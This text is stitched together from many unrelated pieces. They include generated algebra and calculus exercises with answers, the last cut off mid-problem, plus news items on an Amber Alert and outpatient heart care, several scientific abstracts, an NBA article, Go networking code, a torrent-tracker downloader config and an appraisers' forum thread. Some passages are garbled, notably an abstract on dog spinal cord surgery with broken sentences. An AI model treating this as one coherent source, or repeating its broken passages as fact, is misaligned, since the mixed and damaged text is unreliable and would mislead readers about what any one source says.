Let a(u) be the first derivative of u**7/245 - u**6/30 + 2*u**5/21 - 2*u**4/21 + 3*u**2/2 - 12. Let m(v) be the second derivative of a(v). Solve m(k) = 0.
0, 2/3, 2
Let s = 29 - 25. Let y = s - 2. Find f such that -2/5 + 0*f + 0*f**3 - 2/5*f**4 + 4/5*f**y = 0.
-1, 1
Let x be -1199*(-1)/(-240) - (-50 + 45). Let g(q) be the third derivative of 1/96*q**4 + 0*q**3 + 0*q + 0 - x*q**5 + 7*q**2. Suppose g(c) = 0. Calculate c.
0, 1
Let w(m) = -5*m**2 - 4. Let o(r) = r**2 - r + 1. Let f(s) = 4*o(s) + w(s). Factor f(v).
-v*(v + 4)
Let a(j) be the third derivative of -9*j**7/70 - 3*j**6/40 + 2*j**5/5 + j**4/2 - 2*j**2 - 7. Let a(w) = 0. What is w?
-2/3, 0, 1
Let n = 27073 + -27069. Factor 5/4*w**n + 155/4*w + 65/4*w**3 + 25/2 + 165/4*w**2.
5*(w + 1)**3*(w + 10)/4
Let k be 3 - (-4)/(-12)*0. Find u such that -k*u - 2 + 6*u**3 - 4 + u**5 - 3*u**4 + 3 + 6*u**2 - 4*u**5 = 0.
-1, 1
Let q be 297/18 + 2/4. Suppose -6 = -q*f + 14*f. Suppose 1/6*j**5 + 1/6*j**f + 0*j + 0 - 1/6*j**3 - 1/6*j**4 = 0. What is j?
-1, 0, 1
Let b(j) be the second derivative of j**4/4 + 27*j**3/2 - 67*j. Factor b(r).
3*r*(r + 27)
Let g be (-24)/(-16) + (-22)/(-4). Factor g*r**3 - 3*r**3 - 505*r**4 + 507*r**4.
2*r**3*(r + 2)
Let a(d) be the second derivative of -15*d + 2/63*d**4 + 1/210*d**5 + 0 + 5/63*d**3 + 2/21*d**2. Let a(x) = 0. What is x?
-2, -1
Let m(h) be the first derivative of -4/5*h + 9 + 16/15*h**3 - 3/5*h**2 - 3/10*h**4. Factor m(x).
-2*(x - 2)*(x - 1)*(3*x + 1)/5
Let i(m) = m**2 - 2*m. Let g(c) = 12*c - 90. Let s be g(8). Let f(u) = 1 - u**2 + 2*u - 1. Let q(o) = s*i(o) + 7*f(o). Find n such that q(n) = 0.
0, 2
Let p = -329/62 - -180/31. Find x, given that -4*x + p*x**2 + 8 = 0.
4
Let g(o) be the first derivative of o**5/20 + o**4/4 + 4*o**2 + 14. Let c(h) be the second derivative of g(h). What is l in c(l) = 0?
-2, 0
Let n = -228 + 234. Let o(t) be the second derivative of 1/4*t**4 - 3*t + 1/10*t**5 + 0 + 1/3*t**3 + 1/60*t**n + 1/4*t**2. Factor o(y).
(y + 1)**4/2
Let k(i) be the third derivative of -i**6/300 + 41*i**5/150 + 17*i**4/12 + 43*i**3/15 - 12*i**2 + 2*i. Find s, given that k(s) = 0.
-1, 43
Let p(u) be the third derivative of -u**8/96 + 11*u**7/315 - 11*u**6/360 - u**5/90 + u**4/48 + 2*u**2 + 171*u. Solve p(j) = 0 for j.
-1/3, 0, 3/7, 1
Let c(p) be the second derivative of p**6/30 - p**5/5 + p**4/3 - 13*p**2/2 + 22*p. Let s(n) be the first derivative of c(n). Factor s(t).
4*t*(t - 2)*(t - 1)
Let b(z) be the third derivative of 2*z**7/945 - 7*z**6/270 + 2*z**5/15 - 10*z**4/27 + 16*z**3/27 + 189*z**2. Factor b(v).
4*(v - 2)**3*(v - 1)/9
Let f(c) be the first derivative of -3*c**5/70 - 25*c**4/42 - 8*c**3/3 - 16*c**2/7 + 5*c - 1. Let d(t) be the first derivative of f(t). Factor d(s).
-2*(s + 4)**2*(3*s + 1)/7
Factor 120/7*x**3 + 0 + 216/7*x + 332/7*x**2 + 4/7*x**4.
4*x*(x + 1)*(x + 2)*(x + 27)/7
Let g(i) be the second derivative of -i**5/180 - i**4/54 + i**3/18 - 58*i. Factor g(a).
-a*(a - 1)*(a + 3)/9
Solve -1748 + 8*a + 2*a**5 + 1748 + 30*a**3 + 4*a**4 - 26*a**2 - 18*a**4 = 0.
0, 1, 4
Let n(r) be the third derivative of 3*r**2 + 1/2*r**3 + 0 + 1/40*r**5 + 3/16*r**4 + 0*r. Factor n(b).
3*(b + 1)*(b + 2)/2
Let a be -2 + (10 - 2) - 4. Let l = -10/21 - -38/21. Let l - a*q**2 - 10/3*q = 0. What is q?
-2, 1/3
Let g(v) be the third derivative of 1/60*v**5 + 0 + 1/3*v**3 + 0*v - 20*v**2 - 1/8*v**4. Factor g(z).
(z - 2)*(z - 1)
Let z(l) be the third derivative of -l**6/120 + 3*l**5/2 - 225*l**4/2 + 4500*l**3 + 301*l**2. Factor z(i).
-(i - 30)**3
Let g be 680/528 - 1/1. Let v = g + 1/22. Factor 0 + 1/3*y + v*y**2.
y*(y + 1)/3
Let y(u) = -2*u**2 - 26*u - 96. Let w be 2/8 - (-63)/(-28). Let o(g) = -4*g**2 - 51*g - 191. Let c(f) = w*o(f) + 5*y(f). Solve c(d) = 0.
-7
Let q(l) be the first derivative of -2*l**5/35 - l**4/14 - 49. Factor q(t).
-2*t**3*(t + 1)/7
Let c be (-17)/(-85) - 4/(-5). Let v be 0/((-1)/(4/8))*c. Determine q so that -1/4*q**2 - 1/4*q + v = 0.
-1, 0
Suppose 4*u + 11 + 30 = -5*h, -5*u - 4*h - 40 = 0. Let m be (u/(-3))/(4/6). Find r such that r**m + r**2 + 0*r + 4*r = 0.
-2, 0
Suppose 44 + 23 = 47*l - 27. Factor 0*u**3 - 28/5*u**5 + 8/5*u**4 + 0*u**l + 0*u + 0.
-4*u**4*(7*u - 2)/5
Let o(q) be the second derivative of 0*q**2 + 1/16*q**4 + 0 - 3*q - 3/8*q**3. Factor o(t).
3*t*(t - 3)/4
What is g in -3*g + 6*g**2 + 5*g + 0*g - g**2 = 0?
-2/5, 0
Suppose -12 = 4*a, 5*p - 9 = 5*a + 21. What is h in -h**2 + h + 0*h - 5*h**3 + 2*h**p + 3*h**2 = 0?
-1/3, 0, 1
Let q be (6/(-9))/((-2)/15). Let c(l) = -l**4 - 5*l**3 - 11*l**2 + 5*l. Let n(h) = -2*h**3 - 6*h**2 + 2*h. Let u(r) = q*n(r) - 2*c(r). Factor u(z).
2*z**2*(z - 2)*(z + 2)
Let x be 12/(-6) + 7 + 2 + -4. Let p(c) be the second derivative of 8*c + 10/3*c**x - c**2 + 0 - 25/6*c**4. Factor p(i).
-2*(5*i - 1)**2
Let j(u) = u**3 - 2*u**2 - 4*u + 3. Let x be (-18)/(-4) - (-15)/(-10). Let v be j(x). Factor -2*m - 20*m**3 + 18*m**3 + v*m + 0*m**2 + 4*m**2.
-2*m*(m - 1)**2
Let t = 1291/20 - 304/5. Let a(u) be the first derivative of -7 - 3*u + 3/8*u**4 - 2*u**3 + t*u**2. Determine g so that a(g) = 0.
1, 2
Solve 48/13*s - 4/13*s**4 + 2*s**3 + 0 + 76/13*s**2 - 2/13*s**5 = 0.
-3, -2, -1, 0, 4
Let l(m) be the second derivative of -m**5/230 + 19*m**4/69 - 73*m**3/69 + 36*m**2/23 - 212*m. Find s such that l(s) = 0.
1, 36
Let l(y) be the second derivative of 7*y**5/50 + 29*y**4/15 + 13*y**3/3 + 14*y**2/5 - 136*y. Factor l(h).
2*(h + 1)*(h + 7)*(7*h + 2)/5
Let q(g) = -26*g**3 - 577*g**2 - 13051*g - 95849. Let t(o) = 9*o**3 + 192*o**2 + 4350*o + 31950. Let r(p) = 6*q(p) + 17*t(p). Factor r(i).
-3*(i + 22)**3
Let a(l) be the third derivative of -5/24*l**6 - 1/3*l**5 - 2 - 11*l**2 + 0*l - 1/21*l**7 - 5/24*l**4 + 0*l**3. Factor a(z).
-5*z*(z + 1)**2*(2*z + 1)
What is r in -2/11*r**2 - 40328/11 - 568/11*r = 0?
-142
Let c(q) = q**4 - 12*q**3 + 13*q**2 - 8*q - 2. Let s(g) = g**4 - 24*g**3 + 25*g**2 - 17*g - 5. Let t(w) = 5*c(w) - 2*s(w). Factor t(v).
3*v*(v - 2)*(v - 1)**2
Suppose -5*f = 3*q - 7*q + 10, 5*q = 2*f + 21. Let o(h) be the second derivative of 0*h**2 + 1/40*h**q - 1/45*h**6 + 1/72*h**4 + 7*h + 0 + 0*h**3. Factor o(l).
-l**2*(l - 1)*(4*l + 1)/6
Suppose -3*q = -37 + 7. Suppose -2*z + 10 = 2*k, -q = -3*k + z - 3*z. Determine s so that k*s**2 + s**2 + 35 - 39 = 0.
-2, 2
Let h(q) be the first derivative of 2/15*q**2 - 2/15*q**3 - 22 + 2/15*q. Determine r so that h(r) = 0.
-1/3, 1
Let i = 574/95 - 111/19. Find d, given that i*d**3 + 1/5 - 1/5*d - 1/5*d**2 = 0.
-1, 1
Let x = 1447/3 - 482. Find r such that 3*r**3 + 0 + 7/3*r**2 + 2/3*r + 5/3*r**4 + x*r**5 = 0.
-2, -1, 0
Let t(u) = -10*u**2 + 95*u - 85. Let h(q) = q**2 - 2*q + 1. Let b( |
A search began for Cameron Gokey after his mother picked him up from school on Thursday afternoon.
A search began for Cameron Gokey after his mother picked him up from school on Thursday afternoon.
Photo: Houston Regional Amber Plan
Image 2 of 3
Cameron was last seen with his mother, Allison Gokey.
Cameron was last seen with his mother, Allison Gokey.
Photo: Houston Regional Amber Plan
Image 3 of 3
Houston-area 9-year-old found safe
1 / 3
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The search is over for a Houston-area boy who was the subject of an Amber Alert.
Cameron Gokey, 9, went missing at about 12:30 p.m. on Thursday, when his mother, Allison Gokey, took him from Krahn Elementary School in the Klein Independent School District. Cameron was safely located, authorities said, and the alert was canceled shortly before midnight.
The child was believed to be in danger while with Gokey, described by authorities as "emotionally unstable." |
Antitussive effects of diphenhydramine on the citric acid aerosol-induced cough response in humans.
This controlled crossover study in twenty healthy volunteer subjects utilized the citric acid aerosol-induced cough response as a means to demonstrate the effectiveness of 25 mg of diphenhydramine as an antitussive. Entry was limited to only those subjects who manifested a consistent, quantitatively definable response to a 5% citric acid challenge. Subjects were initially dosed with either a placebo vehicle or 25 mg diphenhydramine in a 10 ml formulation. Following drug ingestion, subjects were challenged at 15, 30, 45, 60, 120, and 240 minutes. Three days later, subjects were administered the alternate treatment and rechallenged at the same time points. Diphenhydramine was effective at the earliest time point assessed, 15 minutes, and continued to be as effective over the entire 4-hour duration of the test period. For the placebo vehicle, the mean cough counts did not change significantly from baseline. Neither the putative soothing effect of a liquid formulation nor accommodation to the citric acid spray can account for all the early and consistently significant activity of diphenhydramine in suppressing the cough response. The early onset of activity of diphenhydramine may be due to its local anesthetic properties or may indicate that the dose of diphenhydramine required for effective antitussive activity is lower than that required for effective antihistaminic activity. These results require further corroboration in direct comparisons of various doses of diphenhydramine with positive controls in both this model and clinical cough counting models employing pathologic cough indices. A 25 mg dose of diphenhydramine appears to be effective as an antitussive agent. |
A letter sent by an Oxford scholler to his quondam schoolemaster wherein the Parliament is proved either not to be at all, or to be at Oxford : their pretences detected, some objections answered, and the Kings cause so asserted, that the schoolmasters answer doth acknowledge himselfe convinc't : as also the scholler's reply to that answer, wherein he hath inserted a love-elegie from one of the five members to his paramour and his repulse in her answer. |
Concomitant decrease in the elongation and condensation activities of very-long chain fatty acyl-CoA in jimpy mouse.
Overall elongation and condensation of long-chain and very-long-chain fatty acids have been studied in the brain microsomes of jimpy mice. Both the elongation and condensation activities with stearoyl (18:0)-, oleoyl (18:1)- and arachidoyl (20:0)-CoA were severely diminished in jimpy brain, but the decrease in the activity with the exogenous palmitoyl (16:0)-CoA was less pronounced. The decrease in the elongation and condensation reactions with endogenous palmitic and arachidonic (20:4) acids was not distinct in the mutant. The decrease in the activity of condensation reaction may be responsible for the reduced rate of overall fatty acid elongation. |
Who Has the Brighter Future, Houston Rockets or OKC Thunder?
From the moment the Oklahoma City Thunder traded budding superstar James Harden to the Houston Rockets there has been a sense of pessimism surrounding the guard's former team and a sense of optimism surrounding his new one.
By pairing Harden with point guard Jeremy Lin, the Rockets have a solid foundation built for a franchise that now looks far more intriguing to potential free agents.
The backcourt duo of Harden and Lin has looked dynamic at times through the season's early going, although it appears they need to build a stronger rapport with one another if they want to push the Rockets into the Western Conference playoff picture.
While the immediate future may not look as promising, the Rockets have the core pieces in place to make a run at Western Conference relevancy sometime very soon. According to HoopsHype, Lin is signed through the 2014-15 season, while Harden's max deal has him committed to the franchise through 2017-18.
Aside from Lin and Harden the Rockets don't have much money tied up in big names. Center OmerAsik is slated to make $25 million over the course of his deal, but that's as pricey as the Rockets' role players get.
The future of the Rockets franchise will be shaped over the next few offseasons, and with some money to spend, it appears as if general manager Daryl Morey will have a real opportunity to have an intriguing sell to make to some of the league's most coveted free agents (Josh Smith, perhaps?).
While the Thunder's decision to move Harden will be dissected for months and even years, it's clear that they have a steady franchise infrastructure in place that will keep them competitive throughout much of the next decade.
Perhaps Kevin Martin fills in admirably for Harden in the long-term
After appearing in their first NBA Finals since moving to the Midwest, the Thunder are in prime position, with a young roster that's loaded with star talent and capable role players.
The obvious prizes for the Thunder are Kevin Durant and Russell Westbrook, each of whom is signed well beyond 2015. Oklahoma City's other big piece is versatile forward Serge Ibaka, whose deal extends through the 2017 season.
With a dynamic core trio comprised of Durant, Ibaka and Westbrook, the immediate and long-term future of the franchise appear to be in good hands.
A trend to keep an eye on over the next few months will be the play of Kevin Martin, who was acquired to be Harden's replacement, if only for just one year.
Martin's deal will expire after the 2012-13 season, and the Thunder will then be faced with a difficult decision: Extend Martin and hold on to his reliable scoring or let him walk and replace him with a player who comes cheaper.
An ideal situation for the Thunder would be if one of their current reserves emerged as a big-game player, someone like Eric Maynor, or perhaps Jeremy Lamb down the line.
What sets the Thunder apart from the Rockets isn't just their depth, but also their star talent and chemistry which are light-years ahead compared to that of the Rockets. Simply looking at the two teams' starting lineups it's clear that there's only one position at which the Rockets have a significant advantage: Shooting guard.
Small forward Chandler Parsons has also looked strong in the early going this season, averaging 15.5 points per game on over 47 percent shooting from the floor. Parsons is no Kevin Durant, but he could develop into more than a nice role player who helps take the onus off of Harden and Lin.
Chandler Parsons could be a big part of the Rockets' future
Even if the Rockets do add big names via free agency, the Thunder have an established continuity on both ends of the floor, although many would argue that Westbrook has been more of a detriment than a help on the offensive end.
What hurts the Rockets is that while Jeremy Lin is an attractive name that grabs headlines, he doesn't necessarily produce wins at a high rate.
So far this season Lin is averaging just 10.2 points on 34.8 percent shooting from the field (24.3 percent from three), while his assist numbers have stayed consistent with what they were a year ago (6.1 per game).
Lin is still turning the ball over nearly three times per game, a trend that will have to be reversed for the Rockets to become championship-caliber.
The Rockets are an intriguing team and a highly entertaining League Pass watch, but it's going to take some dramatic roster shakeups for them to enter the conversation of the Western Conference elite somewhere down the line.
With the Thunder firmly established as an elite contender there are few holes they need to plug in, and they shouldn't have a hard time finding willing and able replacements for those deficiencies.
Overall, we can identify a stark contrast between the Rockets and the Thunder. One team is poised to emerge as a Western Conference spoiler while the other has a legitimate shot at multiple titles over the next five years.
The Thunder are in good hands, hands that will likely be hoisting the Larry O'Brien trophy sometime over the next few years. |
Abstract/Description
It is extremely challenging to formulate and evaluate agricultural development strategies for regions as large and diverse as proposed in the Action Areas, and it will require multiple perspectives and thoughtful simplifications (Omamo et al. 2006). Empirical studies in Ethiopia, Kenya and Uganda (e.g. Pender et al. 1999; Pender et al. 2004; Ehui and Pender 2005) suggest that interaction of the three socio-economic and biophysical layers—population density, agricultural potential and market access—provide good explanatory power in predicting the type of agricultural enterprises and development pathways encountered in different rural communities, as the layers are strongly related to the feasibility and attractiveness of specific development and livelihood strategies (Wood et al. 1999). Omamo et al. (2006) used for East and Central Africa (ECA) GIS tools and databases to gain a better appreciation of the regional patterns of agriculture and of agricultural development challenges and opportunities. The GIS analysis disaggregates the region into geographical units, called ‘development domains’, in which similar agricultural development problems or opportunities are likely to occur, based on the spatial layers population density, agricultural potential and market access. The breakdown is done by classifying each of the three factors into two values: high or low. In the proposal for the CGIAR Research Program on Integrated Systems for the Humid Tropics an example is given for ECA, based on the Nairobi 2012 workshop. Stratification here is by domain at Field Site level with a different form of stratification used at the Action Site level (‘farming system’). The development domains in this example are defined using consistent data and criteria across the region, thus helping diagnose development constraints and formulate and evaluate strategic intervention options in comparable ways. These development domains permit consideration of the following issues: Where are those geographic areas within and across countries in ECA in which development problems and opportunities are likely to be most similar? Where will specific types of development policies, investments, livelihood options and technologies likely be most effective? For established developmental successes in any given location in ECA, where can similar conditions be found in the region? |
Health Story
News for Healthier Living
Control of Heart Risks May Vary Among Outpatient Practices
FRIDAY, May 17 (HealthDay News) -- Management of heart disease risk factors -- such as high cholesterol, high blood pressure and smoking -- varies significantly among outpatient practices in the United States, according to a new study.
Researchers found that among 18 primary care and cardiology practices studied, the percentage of patients screened for smoking and counseled on how to quit ranged from about 54 percent to 86 percent. The study authors suggested outpatient practices can learn from one another and improve the prevention and management of disease.
"It's eye-opening for practices to see how much better or worse they're doing than their peers on nationally derived measures of quality. They can learn to improve in collaboration with others instead of alone," the study's lead author, Dr. Zubin Eapen, an assistant professor of medicine at Duke University in Durham, N.C., said in an American Heart Association news release.
In conducting the study, the researchers analyzed and compared the medical records of nearly 116,000 patients. The outpatient practices included in the study were involved in a collaboration of the American Cancer Society, American Diabetes Association and American Heart Association, known as The Guideline Advantage.
The study also revealed that the percentage of people whose high blood pressure was under control ranged from just under 59 percent to 75 percent among the practices. In addition, the percentage of patients with diabetes who had their "bad" (LDL) cholesterol under control ranged from nearly 54 percent to 100 percent.
"Previously, we've focused on improving the quality of inpatient hospital care and haven't explored enough how to improve outpatient care," Eapen concluded. "This baseline snapshot lets us see just how much progress could be made in preventing or managing diseases."
The study findings were scheduled for presentation Friday at the American Heart Association meeting in Baltimore. The data and conclusions of research presented at medical meetings should be viewed as preliminary until published in a peer-reviewed journal. |
// +build dpdk
/*
* Copyright (C) 2017 Red Hat, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy ofthe License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specificlanguage governing permissions and
* limitations under the License.
*
*/
package dpdk
import (
"fmt"
"strconv"
"sync/atomic"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
dpdkcommon "github.com/intel-go/nff-go/common"
dpdkflow "github.com/intel-go/nff-go/flow"
"github.com/intel-go/nff-go/packet"
"github.com/skydive-project/skydive/api/types"
"github.com/skydive-project/skydive/flow"
"github.com/skydive-project/skydive/flow/probes"
"github.com/skydive-project/skydive/graffiti/graph"
"github.com/skydive-project/skydive/probe"
"github.com/skydive-project/skydive/topology"
)
var (
dpdkNBWorkers uint
)
// ProbesHandler describes a flow probe handle in the graph
type ProbesHandler struct {
Ctx probes.Context
}
// RegisterProbe registers a gopacket probe
func (p *ProbesHandler) RegisterProbe(n *graph.Node, capture *types.Capture, e probes.ProbeEventHandler) (probes.Probe, error) {
tid, _ := n.GetFieldString("TID")
if tid == "" {
return nil, fmt.Errorf("No TID for node %v", n)
}
enablePort(tid, true)
e.OnStarted(&probes.CaptureMetadata{})
return nil, nil
}
// UnregisterProbe unregisters gopacket probe
func (p *ProbesHandler) UnregisterProbe(n *graph.Node, e probes.ProbeEventHandler, fp probes.Probe) error {
tid, _ := n.GetFieldString("TID")
if tid == "" {
return fmt.Errorf("No TID for node %v", n)
}
enablePort(tid, false)
e.OnStopped()
return nil
}
// Start probe
func (p *ProbesHandler) Start() error {
go dpdkflow.SystemStart()
return nil
}
// Stop probe
func (p *ProbesHandler) Stop() {
}
func packetHandler(packet *packet.Packet, context dpdkflow.UserContext) {
gopacket := gopacket.NewPacket(packet.GetRawPacketBytes(), layers.LayerTypeEthernet, gopacket.Default)
ctxQ, _ := context.(ctxQueue)
ctxQ.ft.FeedWithGoPacket(gopacket, nil)
}
func l3Splitter(currentPacket *packet.Packet, context dpdkflow.UserContext) uint {
ipv4, ipv6, _ := currentPacket.ParseAllKnownL3()
if ipv4 != nil {
h := (ipv4.SrcAddr>>24)&0xff ^ (ipv4.DstAddr>>24)&0xff ^
(ipv4.SrcAddr>>16)&0xff ^ (ipv4.DstAddr>>16)&0xff ^
(ipv4.SrcAddr>>8)&0xff ^ (ipv4.DstAddr>>8)&0xff ^
(ipv4.SrcAddr)&0xff ^ (ipv4.DstAddr)&0xff
return uint(h) % dpdkNBWorkers
}
if ipv6 != nil {
h := uint(0)
for i := range ipv6.SrcAddr {
h = h ^ uint(ipv6.SrcAddr[i]^ipv6.DstAddr[i])
}
return h % dpdkNBWorkers
}
return 0
}
func enablePort(tid string, enable bool) {
port, ok := dpdkPorts[tid]
if !ok {
return
}
for _, ctxQ := range port.queues {
ctxQ.enabled.Store(enable)
}
}
var dpdkPorts = make(map[string]dpdkPort)
type dpdkPort struct {
queues []*ctxQueue
}
type ctxQueue struct {
enabled *atomic.Value
ft *flow.Table
}
func (c ctxQueue) Copy() interface{} {
return c
}
func (c ctxQueue) Delete() {
}
func getDPDKMacAddress(port int) string {
mac := dpdkflow.GetPortMACAddress(uint16(port))
macAddr := ""
for i, m := range mac {
macAddr += fmt.Sprintf("%02x", m)
if i < (len(mac) - 1) {
macAddr += ":"
}
}
return macAddr
}
// CaptureTypes supported
func (p *ProbesHandler) CaptureTypes() []string {
return []string{"dpdk"}
}
// NewProbe returns a new DPDK probe
func NewProbe(ctx probes.Context, bundle *probe.Bundle) (probes.FlowProbeHandler, error) {
ports := ctx.Config.GetStringSlice("dpdk.ports")
nbWorkers := ctx.Config.GetInt("dpdk.workers")
nbPorts := len(ports)
if nbWorkers == 0 || nbPorts == 0 {
return nil, fmt.Errorf("DPDK flow porbe is not configured")
}
dpdkNBWorkers = uint(nbWorkers)
cfg := &dpdkflow.Config{
LogType: dpdkcommon.Initialization,
}
debug := ctx.Config.GetInt("dpdk.debug")
if debug > 0 {
cfg.LogType = dpdkcommon.Debug
cfg.DebugTime = uint(debug * 1000)
}
dpdkflow.SystemInit(cfg)
opts := flow.TableOpts{
RawPacketLimit: 0,
}
p := &ProbesHandler{Ctx: ctx}
hostNode := ctx.Graph.LookupFirstNode(graph.Metadata{
"Name": ctx.Graph.GetHost(),
"Type": "host",
})
for _, p := range ports {
inport, err := strconv.Atoi(p)
if err != nil {
return nil, fmt.Errorf("misconfiguration of DPDK port %v", p)
}
portMAC := getDPDKMacAddress(inport)
m := graph.Metadata{
"Name": fmt.Sprintf("DPDK-port-%d", inport),
"EncapType": "ether",
"IfIndex": inport,
"MAC": portMAC,
"Driver": "dpdk",
"State": "UP",
"Type": "dpdkport",
}
dpdkNode, err := ctx.Graph.NewNode(graph.GenID(), m)
if err != nil {
return nil, err
}
topology.AddOwnershipLink(ctx.Graph, hostNode, dpdkNode, nil)
tid, _ := dpdkNode.GetFieldString("TID")
uuids := flow.UUIDs{NodeTID: tid}
port := dpdkPort{}
inputFlow, _ := dpdkflow.SetReceiver(uint16(inport))
outputFlows, _ := dpdkflow.SetSplitter(inputFlow, l3Splitter, uint(dpdkNBWorkers), nil)
for i := 0; i < nbWorkers; i++ {
ft := ctx.FTA.Alloc(uuids, opts)
ft.Start(nil)
ctxQ := ctxQueue{
ft: ft,
enabled: &atomic.Value{},
}
ctxQ.enabled.Store(false)
port.queues = append(port.queues, &ctxQ)
dpdkflow.SetHandler(outputFlows[i], packetHandler, ctxQ)
}
dpdkPorts[tid] = port
for i := 0; i < nbWorkers; i++ {
dpdkflow.SetStopper(outputFlows[i])
}
}
return p, nil
}
|
<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1
-
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
-
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
-
- The Original Code is IRC Auto Downloader.
-
- The Initial Developer of the Original Code is
- David Nilsson.
- Portions created by the Initial Developer are Copyright (C) 2010, 2011
- the Initial Developer. All Rights Reserved.
-
- Contributor(s):
- idefixx
-
- ***** END LICENSE BLOCK ***** -->
<trackerinfo
type="ptp"
shortName="PtP"
longName="PassThePopcorn"
siteName="passthepopcorn.me">
<settings>
<gazelle_description/>
<gazelle_authkey/>
<gazelle_torrent_pass/>
</settings>
<servers>
<server
network="PassThePopcorn"
serverNames="irc.passthepopcorn.me"
channelNames="#ptp-announce"
announcerNames="Hummingbird"
/>
</servers>
<parseinfo>
<linepatterns>
<extract>
<!--Irene Huss - Nattrond AKA The Night Round [2008] by Anders Engström - XviD / DVD / AVI / 640x352 - http://passthepopcorn.me/torrents.php?id=51627 / http://passthepopcorn.me/torrents.php?action=download&id=97333 - crime, drama, mystery-->
<!--Dirty Rotten Scoundrels [1988] by Frank Oz - x264 / Blu-ray / MKV / 720p - http://passthepopcorn.me/torrents.php?id=10735 / http://passthepopcorn.me/torrents.php?action=download&id=97367 - comedy, crime-->
<regex value="^(.*)-\s*https?:.*[&\?]id=.*https?\:\/\/([^\/]+\/).*[&\?]id=(\d+)\s*-\s*(.*)"/>
<vars>
<var name="torrentName"/>
<var name="$baseUrl"/>
<var name="$torrentId"/>
<var name="tags"/>
</vars>
</extract>
</linepatterns>
<linematched>
<var name="scene">
<string value="false"/>
</var>
<extract srcvar="torrentName" optional="true">
<regex value="by (.*) - (\S+ /.*)"/>
<vars>
<var name="category"/>
<var name="$releaseTags"/>
</vars>
</extract>
<extract srcvar="torrentName" optional="true">
<regex value="(\S+ /.*)"/>
<vars>
<var name="$releaseTags"/>
</vars>
</extract>
<extract srcvar="torrentName" optional="true">
<regex value="(?:^|[^\d])((?:19|20)\d\d)(?:$|[^\d])"/>
<vars>
<var name="year"/>
</vars>
</extract>
<extract srcvar="torrentName" optional="true">
<regex value="^(.*)\[\d\d\d\d\]"/>
<vars>
<var name="name1"/>
</vars>
</extract>
<varreplace name="$releaseTags" srcvar="$releaseTags" regex="[/]" replace=","/>
<!--Some use dots some use underscores, but replace all with spaces-->
<varreplace name="tags" srcvar="tags" regex="[._]" replace=" "/>
<extracttags srcvar="$releaseTags" split=",">
<setvarif varName="scene" value="Scene" newValue="true"/>
<setvarif varName="freeleech" value="Freeleech!" newValue="true"/>
<setvarif varName="resolution" regex="^(?:SD|Standard?Def.*|480i|480p|576p|720p|810p|1080p|1080i|2160p|PD|Portable Device)$"/>
<setvarif varName="source" regex="^(?:R5|DVDScr|BRRip|CAM|TS|TELESYNC|TC|TELECINE|DSR|PDTV|HDTV|DVDRip|BDRip|DVDR|DVD|BluRay|Blu\-Ray|WEBRip|WEB\-DL|WEB|TVRip|HDDVD|HD\-DVD)$"/>
<setvarif varName="encoder" regex="^(?:XviD|DivX|x264|h\.264|h264|mpeg2|VC\-1|VC1|WMV)$"/>
<setvarif varName="container" regex="^(?:AVI|MKV|VOB|MPEG|MP4|ISO|WMV|TS|M4V|M2TS)$"/>
<!--Ignored-->
<regex value=""/>
</extracttags>
<var name="torrentUrl">
<string value="https://"/>
<var name="$baseUrl"/>
<string value="torrents.php?action=download&id="/>
<var name="$torrentId"/>
<string value="&authkey="/>
<var name="authkey"/>
<string value="&torrent_pass="/>
<var name="torrent_pass"/>
</var>
</linematched>
<ignore>
</ignore>
</parseinfo>
</trackerinfo>
|
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Surgical implantation of a peripheral nerve neuroma in lesioned spinal cord and brain--axonal sprouting regeneration and synaptogenesis.
Thirty-six mature female dogs weighing fifteen to twenty-five pounds, then spinal cord transected at T6 or T8. An intercostal nerve neuroma with cellular origin proximal to the transection site was dissected free to near the intervertebral foramen and the distal nerve stump was implanted in the spinal cord distal but near to the transection site and anchored with a plasma clot suture. These dogs were studied, treated and rehabilitated over a period of six months to two years or until they could stand, step and show reflex walking locomotion. Peripheral nerve distal stump neuroma, for example, intercostal nerve and cranial nerve XI are transected and surgically implanted in the lesions of the spinal cord or brain. 1, 2, 3, 4, 5, 8. The implantation of the unfrozen XI cranial nerve neuromas in each case showed extensive invasion and neuroma axon in growth in to the temporal lobe of the brain. In some cases there was axon in growth in to the hippocampus and amygdala was noted. |
Report that it's there. Include a photo. Look for market date to establish the impact on value, if any. When you don't find any say something like 'No market data were found to establish the impact on value, if any, of the sewer lift pump located on the subject property. In the absence of suitable data, the appraisal is based on the assumption that the sewer pump has no impact on the value of the subject property.
BTW, one possible way to come up with an adjustment is to look at the prior sale of the subject and pair it with another sale from the same time period. Like the old appraiser said, 'Base it on something. It doesn't have to be something good. It just has to be something.'
According to the company that maintains this booger:
Last major spill was in 2007, before the county requirement for 24/7 monitoring equipment. Until this equipment was installed, the pump was checked once every 24-hour period. If the system failed in the interim, there was no way of knowing until someone notified the company, usually the home owner. In 2007, when the system failed, the home owner chose to call everyone but the maintenance company, reportedly in attempt to get someone in trouble - the maintenance company was finally notified after 6 hours and remedied the issue, but that was 6 hours of sewage meandering down the yard and to the side of the house and beyond... Interesting story.
Without a doubt, this pump station negatively affects the saleability of this property - many buyers wouldn't consider living downhill from potential disaster - they'd take one look at the pump system and walk away. But, some wouldn't care - they'd see that nearly incomparable golf course view out back and nothing else.
I have a difficult time justifying/supporting an adjustment other than in relation to a significant increase in marketing time.
From what I can tell in talking to the owner of the pump station maintenance company, previous owners of this home purchased the property under the assumption that they could live with the pump station, only to discover after time that it was always there, breathing down their necks, threatening to douse their paradise in flowing pungent liquidity... I imagine future buyers will encounter a similar scenario.
Report that it's there. Include a photo. Look for market date to establish the impact on value, if any. When you don't find any say something like 'No market data were found to establish the impact on value, if any, of the sewer lift pump located on the subject property. In the absence of suitable data, the appraisal is based on the assumption that the sewer pump has no impact on the value of the subject property.
